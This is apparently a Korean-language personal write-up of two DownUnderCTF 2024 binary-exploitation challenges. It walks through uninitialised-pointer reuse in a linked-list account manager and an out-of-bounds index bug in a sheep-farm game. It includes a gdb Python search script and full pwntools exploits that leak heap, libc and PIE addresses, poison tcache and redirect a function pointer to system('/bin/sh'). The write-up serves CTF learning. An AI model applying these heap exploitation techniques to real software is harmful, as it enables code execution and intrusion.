자체적으로 doubly-linked-list를 이용해서 계정을 관리하는 프로그램이다.
typedef struct {
long uid;
char username[8];
char password[8];
} user_t;
typedef struct user_entry user_entry_t;
struct user_entry {
user_t* user;
user_entry_t* prev;
user_entry_t* next;
};
void sign_up() {
user_t* user = malloc(sizeof(user_t));
user_entry_t* entry = malloc(sizeof(user_entry_t));
user->uid = UID++;
printf("username: ");
read(0, user->username, 8);
printf("password: ");
read(0, user->password, 8);
entry->user = user;
user_entry_t* curr = &user_list;
while(curr->next) {
curr = curr->next;
}
entry->prev = curr;
curr->next = entry;
}
void remove_account(int uid) {
user_entry_t* curr = &user_list;
do {
if(curr->user->uid == uid) {
if(curr->prev) {
curr->prev->next = curr->next;
}
if(curr->next) {
curr->next->prev = curr->prev;
}
free(curr->user);
free(curr);
break;
}
curr = curr->next;
} while(curr);
}
sign_up()
함수를 보면 새로 만들어진 user_entry_t
에 대해서 next pointer를 초기화 하지 않는 것을 확인할 수 있다.
또한, remove_account()
를 보면, next와 prev entry의 포인터 값들만 변경시켜주고, curr의 포인터들은 초기화시켜주지 않는다.
user_entry_t
를 보면, next 포인터는 0x10위치에 존재하고 있으므로, tcache의 동작에 의해 값이 바뀌지 않는다.
즉, 이전에 설정한 next 값이 그대로 유지된다는 뜻이다.
한 가지 더 볼 점은 remove_account()
와 sign_up()
의 할당 / 해제 순서인데, 두 함수 모두 user -> entry 순으로 진행된다.
user_t
와 user_entry_t
모두 size가 0x18에 해당하므로 해제 후 할당을 하게 되면 이전에 entry였던 메모리는 user로, user였던 메모리는 entry로 바뀌어서 할당되게 된다.
여기서, password 부분과 next 부분의 메모리 영역이 일치하므로, 재할당 시 남아있는 next pointer는 이전의 password 값을 가지게 된다.
그러므로 next entry를 uid = 0, id / pw는 알고 있는 값
을 user로 가지는 주소를 가진 메모리로 선택해 주면 될 것이다.
오늘 처음 안 사실인데, gdb 내부적으로 python script를 동작시킬 수 있다.
import gdb
class MemorySearcher(gdb.Command):
def __init__(self):
super(MemorySearcher, self).__init__("search_mem", gdb.COMMAND_USER)
def invoke(self, arg, from_tty):
start_address = 0x400000
end_address = 0x405000
step = 0x8
def read_memory(address):
try:
# 8바이트를 읽고 이를 'long long' 타입으로 변환
value = gdb.inferiors()[0].read_memory(address, 8)
return int.from_bytes(value, byteorder='little')
except gdb.MemoryError:
return None
for address in range(start_address, end_address, step):
first_value = read_memory(address)
if first_value is not None:
second_value = read_memory(first_value)
if second_value is not None and second_value == 0:
id = read_memory(first_value + 0x8)
passwd = read_memory(first_value + 0x10)
print(f"0x{address:x}")
print(f"\tid: {id:x}, passwd: {passwd:x}")
MemorySearcher()
chatgpt의 도움을 받아 위처럼 작성하였다.
0x400000 ~ 0x405000까지 entry에 적합한 메모리를 찾는 스크립트이다.
결과는 위와 같다.
from pwn import *
r = remote("2024.ductf.dev", 30022)
# r = process("./sign-in")
def select(cmd):
r.sendlineafter(b"> ", cmd)
def signup(username, password):
select(b"1")
r.sendafter(b"username: ", username)
r.sendafter(b"password: ", password)
def signin(username, password):
select(b"2")
r.sendafter(b"username: ", username)
r.sendafter(b"password: ", password)
def remove():
select(b"3")
def get_shell():
select(b"4")
signup(p64(0), p64(0x402eb8))
signin(p64(0), p64(0x402eb8))
remove()
signup(b"A", p64(0))
signin(p64(0), p64(0))
get_shell()
r.interactive()
writeup을 참고하여 풀이하였다.
문제를 풀 때 너무 복잡하게 생각해서 더 헷갈렸던 것 같다.
gdb를 통해 디버깅 할 때 파이썬 스크립트를 적극적으로 활용해야겠다..
지금까지 노가다로 직접 하나하나 보고 있었음..
양 농장? 을 경영하는 게임인듯.
int idx = read_int("index> ");
if(idx >= SHEEP_MAX || game->sheep[idx] == NULL) {
puts("That sheep doesn't exist!");
return;
}
기본적으로 위 로직을 통해서 index가 유효한지 검증하는데, idx가 음수인 경우는 고려하지 않는 OOB 취약점이 존재한다.
void buy_sheep(game_t* game) {
...
while(game->sheep[game->free_slot_hint]) game->free_slot_hint++;
game->sheep[game->free_slot_hint] = sheep;
game->num_sheep++;
printf("sheep bought, sitting at index: %d\n", game->free_slot_hint);
}
void sell_sheep(game_t* game) {
...
game->wool += game->sheep[idx]->value;
free(game->sheep[idx]);
game->sheep[idx] = NULL;
game->free_slot_hint = idx;
game->num_sheep--;
}
game->free_slot_hint
를 통해서 다음 양을 구매할 idx가 결정된다.
그런데 buy_sheep
을 보면 free_slot_hint가 SHEEP_MAX를 넘지 않는지에 대한 범위 체크가 되지 않아 여기에서도 OOB 취약점이 존재한다.
void upgrade_sheep(game_t* game) {
...
if(upgrade_type == 1) {
game->sheep[idx]->wps += 1;
} else if(upgrade_type == 2) {
game->sheep[idx]->wps *= 2;
}
...
}
뭔가 AAW에 쓰일 법한 모양새다.
void view_sheep(game_t* game) {
int idx = read_int("index> ");
if(idx >= SHEEP_MAX || game->sheep[idx] == NULL) {
puts("That sheep doesn't exist!");
return;
}
printf("Sheep %d\n", idx);
printf("\tWPS: %ld\n", game->sheep[idx]->wps);
printf("\tValue: %ld\n", game->sheep[idx]->value);
}
이 함수를 통해 원하는 데이터를 출력할 수 있을 것 같다.
일단 기본적으로 알아야 될 것은, tcache_bin 또한 heap 영역에 할당된다는 점이다.
user가 동적 할당한 주소에 앞서서 tcache가 존재하게 된다.
즉, 앞에서 보았던 OOB 취약점을 이용해서 tcache_bin을 조작할 수 있게 된다.
idx값으로 -69를 주게 되면 upgrade_sheep()
함수와 view_sheep()
함수를 통해서 tcache_bin이 가리키는 영역의 값을 읽기 / 쓰기 가 자유자재로 가능해 진다.
이를 통해서 AAW, AAR이 가능해진다.
buy_sheep()
의 OOB 취약점을 통해서 heap leak이 가능하다.
game_t
구조체 또한 동적할당된 메모리이므로 SHEEP_MAX
를 넘어간 이후에는 이미 할당된 sheep 구조체의 내부에 할당된 메모리 주소가 저장되게 된다.
이 sheep 구조체를 대상으로 view_sheep()
을 호출하면 heap leak이 가능하다.
위 코드에서는 생략하였는데, 기본적인 동작들을 하기 위해선 game->wool
이라는 재화가 필요하다.
heap leak을 진행하고 나면 sheep[0]의 value에는 heap address가 기록되기 때문에 sheep[0]을 판매하게 되면 wool 값을 충분히 채울 수 있다.
여기서 좀 헤맸다.
game struct를 보면, 크기가 0xc0으로 fastbin 영역에 포함되지 않음을 알 수 있다.
즉, game struct를 8번 할당 해제하고 나면 unsorted bin에 들어가게 되어 메모리에 libc 영역의 주소가 쓰이게 된다.
그 후에 AAR을 이용해서 libc leak을 할 수 있다.
요거는 그냥 libc 메모리 영역에서 PIE 영역의 주소가 담긴 부분을 찾은 뒤에 AAR를 통해서 읽어낼 수 있다.
void update_state(game_t* game) {
game->time++;
for(int i = 0; i < game->num_sheep; i++) {
if(game->sheep[i]) {
ability_func f = abilities[game->sheep[i]->ability_type];
game->wool += f(game->sheep[i]);
}
}
}
AAR, AAW가 가능하고, PIE base, libc base도 알았다.
여기서 주목할 함수는 update_state()
함수로, 이 함수는 명령을 입력한 후에 매 번 실행되는 함수이다.
내부적으로 함수 포인터를 호출하는 것을 확인할 수 있다.
즉, abilities에 있는 함수 포인터를 system()
의 주소로 바꾸고, 호출되는 인자인 game->sheep[i]
의 값을 /bin/sh\x00
으로 바꾸면 될 것이다.
는 아래와 같다.
from pwn import *
# r = process("./sheep")
r = remote("2024.ductf.dev", 30025)
def int_to_bytes(num):
return bytes(str(num), encoding="ascii")
def menu(cmd):
r.sendlineafter(b"> ", int_to_bytes(cmd))
def buy(type):
menu(1)
r.sendlineafter(b"> ", int_to_bytes(type))
def upgrade(idx, type):
menu(2)
r.sendlineafter(b"> ", int_to_bytes(idx))
r.sendlineafter(b"> ", int_to_bytes(type))
def sell(idx):
menu(3)
r.sendlineafter(b"> ", int_to_bytes(idx))
def view(idx):
menu(4)
r.sendlineafter(b"> ", int_to_bytes(idx))
for i in range(20):
buy(0)
for i in range(1, 20):
sell(i)
buy(0)
buy(0) # index 22
view(0)
r.recvuntil(b"Value: ")
heap_base = int(r.recvline()[:-1]) & 0xfffffffffffff000
print("heap base: ", hex(heap_base))
def set_wps(idx, addr, size):
payload = b""
for i in range(64):
# upgrade(idx, 2)
payload += b"2\n" + int_to_bytes(idx) + b"\n2\n"
r.send(payload)
r.recvn(4096)
payload = b""
for i in range(size, 64):
shift_bits = 63 - i
if ((addr >> shift_bits) & 1):
# upgrade(-69, 1)
payload += b"2\n-69\n1\n"
if i != 63:
# upgrade(-69, 2)
payload += b"2\n-69\n2\n"
r.send(payload)
r.recvn(16384)
# index of tcache_bin entry = -69
# game_t offset = 0x2a0
encoded_target = (heap_base + 0x2a0) ^ (heap_base >> 12)
print("encoded target: ", hex(encoded_target))
for i in range(8):
print(f"({i}) filling tcache bin with size = 0xc0 ... ")
sell(0) # show me the money
set_wps(-69, encoded_target, 17)
buy(0) # idx = 0
upgrade(-69, 1)
sell(-69) # tcache_bin(0x20) -> 0, tcache_bin(0xc0) -> 1
sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
view(-69)
r.recvuntil(b"WPS: ")
libc_base = int(r.recvline()[:-1]) - 0x21ad7d
if (libc_base & 0xfff):
libc_base &= 0xfffffffffffff000
libc_base += 0x1000
print("libc_base: ", hex(libc_base))
encoded_target = (libc_base + 0x219e38) ^ (heap_base >> 12)
sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
view(-69)
r.recvuntil(b"WPS: ")
PIE_base = int(r.recvline()[:-1]) - 0x40c0
print("PIE_base: ", hex(PIE_base))
encoded_target = (PIE_base + 0x40b0) ^ (heap_base >> 12)
system = libc_base + 0x50d70
sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
set_wps(-69, system, 17)
encoded_target = (PIE_base + 0x4020) ^ (heap_base >> 12)
sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
set_wps(-69, u64(b"/bin/sh\x00"), 0)
encoded_target = (heap_base + 0x360) ^ (heap_base >> 12)
sell(0)
for _ in range(10):
set_wps(-69, encoded_target, 17)
buy(0)
r.interactive()
중간에 rand()
가 섞여있는 부분이나, tcache_bin의 남은 chunk 수, free_slot_hint 등의 변수가 존재해서 생각보다 시간이 오래 걸렸다.